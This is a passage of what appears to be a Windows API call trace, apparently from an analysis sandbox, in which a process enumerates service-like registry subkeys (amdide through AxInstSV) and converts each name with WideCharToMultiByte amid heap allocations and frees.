cchWideChar=6, lpMultiByteStr=0x21f1ad8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aliide", lpUsedDefaultChar=0x0) returned 6 [0260.048] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0260.048] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0260.048] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.048] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.048] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x14, lpName=0x2152850, cchName=0x104 | out: lpName="amdide") returned 0x0 [0260.048] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.048] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0260.048] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0260.048] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x21f16e8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdide", lpUsedDefaultChar=0x0) returned 6 [0260.048] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0260.048] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.048] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0260.048] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.048] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x15, lpName=0x2152850, cchName=0x104 | out: lpName="AmdK8") returned 0x0 [0260.048] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.048] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0260.048] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0260.048] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x21f1ad8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdk8", lpUsedDefaultChar=0x0) returned 5 [0260.048] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0260.048] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0260.048] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.048] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.048] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x16, lpName=0x2152850, cchName=0x104 | out: lpName="AmdPPM") returned 0x0 [0260.048] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.048] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0260.048] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0260.049] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x21f16e8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdppm", lpUsedDefaultChar=0x0) returned 6 [0260.049] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0260.049] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.049] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0260.049] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.049] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x17, lpName=0x2152850, cchName=0x104 | out: lpName="amdsata") returned 0x0 [0260.049] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.049] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0260.049] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0260.049] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x21f1ad8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsata", lpUsedDefaultChar=0x0) returned 7 [0260.049] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0260.049] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0260.049] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.049] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.049] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x18, lpName=0x2152850, cchName=0x104 | out: lpName="amdsbs") returned 0x0 [0260.049] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.049] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0260.049] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0260.049] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x21f16e8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsbs", lpUsedDefaultChar=0x0) returned 6 [0260.049] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0260.049] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.049] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0260.049] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.049] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x19, lpName=0x2152850, cchName=0x104 | out: lpName="amdxata") returned 0x0 [0260.049] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.049] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0260.049] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0260.049] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x21f1ad8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdxata", lpUsedDefaultChar=0x0) returned 7 [0260.049] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0260.049] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0260.049] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.049] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.049] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1a, lpName=0x2152850, cchName=0x104 | out: lpName="AppID") returned 0x0 [0260.050] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.050] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0260.050] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0260.050] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x21f16e8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appid", lpUsedDefaultChar=0x0) returned 5 [0260.050] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0260.050] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.050] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0260.050] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.050] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1b, lpName=0x2152850, cchName=0x104 | out: lpName="AppIDSvc") returned 0x0 [0260.050] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.050] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0260.050] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0260.050] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x21f1ad8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appidsvc", lpUsedDefaultChar=0x0) returned 8 [0260.050] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0260.050] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0260.050] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.050] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.050] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1c, lpName=0x2152850, cchName=0x104 | out: lpName="Appinfo") returned 0x0 [0260.050] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.050] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0260.050] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0260.050] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x21f16e8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appinfo", lpUsedDefaultChar=0x0) returned 7 [0260.050] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0260.050] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.050] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0260.050] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.050] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1d, lpName=0x2152850, cchName=0x104 | out: lpName="AppMgmt") returned 0x0 [0260.050] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.050] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0260.050] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0260.050] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x21f1ad8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appmgmt", lpUsedDefaultChar=0x0) returned 7 [0260.050] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0260.050] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0260.050] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.051] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.051] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1e, lpName=0x2152850, cchName=0x104 | out: lpName="arc") returned 0x0 [0260.051] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.051] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0260.051] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0260.051] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x21f16e8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arc", lpUsedDefaultChar=0x0) returned 3 [0260.051] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0260.051] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.051] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0260.051] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.051] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1f, lpName=0x2152850, cchName=0x104 | out: lpName="arcsas") returned 0x0 [0260.051] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.051] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0260.051] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0260.051] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x21f1ad8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arcsas", lpUsedDefaultChar=0x0) returned 6 [0260.051] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0260.051] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0260.051] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.051] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.051] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x20, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0260.051] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.051] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0260.051] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0260.051] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x21f16e8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0260.051] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0260.051] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.051] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0260.051] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.051] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x21, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET_4.0.30319") returned 0x0 [0260.051] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.051] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0260.051] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0260.051] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x21f1ad8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net_4.0.30319", lpUsedDefaultChar=0x0) returned 17 [0260.052] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0260.052] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0260.052] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.052] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.052] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x22, lpName=0x2152850, cchName=0x104 | out: lpName="aspnet_state") returned 0x0 [0260.052] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.052] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0260.052] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0260.052] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x21f16e8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aspnet_state", lpUsedDefaultChar=0x0) returned 12 [0260.052] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0260.052] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.052] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0260.052] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.052] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x23, lpName=0x2152850, cchName=0x104 | out: lpName="AsyncMac") returned 0x0 [0260.052] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.052] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0260.052] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0260.052] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x21f1ad8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asyncmac", lpUsedDefaultChar=0x0) returned 8 [0260.052] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0260.052] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0260.052] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.052] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.052] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x24, lpName=0x2152850, cchName=0x104 | out: lpName="atapi") returned 0x0 [0260.052] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.052] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0260.052] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0260.052] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x21f16e8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="atapi", lpUsedDefaultChar=0x0) returned 5 [0260.052] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0260.052] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.052] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0260.052] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.052] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x25, lpName=0x2152850, cchName=0x104 | out: lpName="AudioEndpointBuilder") returned 0x0 [0260.053] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.053] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0260.053] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0260.053] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x21f1ad8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audioendpointbuilder", lpUsedDefaultChar=0x0) returned 20 [0260.053] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0260.053] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0260.053] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.053] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.053] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x26, lpName=0x2152850, cchName=0x104 | out: lpName="AudioSrv") returned 0x0 [0260.053] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.053] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0260.053] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0260.053] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x21f16e8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiosrv", lpUsedDefaultChar=0x0) returned 8 [0260.053] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0260.053] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.053] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0260.053] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.053] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x27, lpName=0x2152850, cchName=0x104 | out: lpName="AxInstSV") returned 0x0 [0260.053] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.053] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0260.053] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0260.053] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x21f1ad8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="axinstsv", lpUsedDefaultChar=0x0) returned 8 [0260.053] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0260.053] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0260.053] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.053] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.053] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x28, lpName=0x2152850, cchName=0x104 | 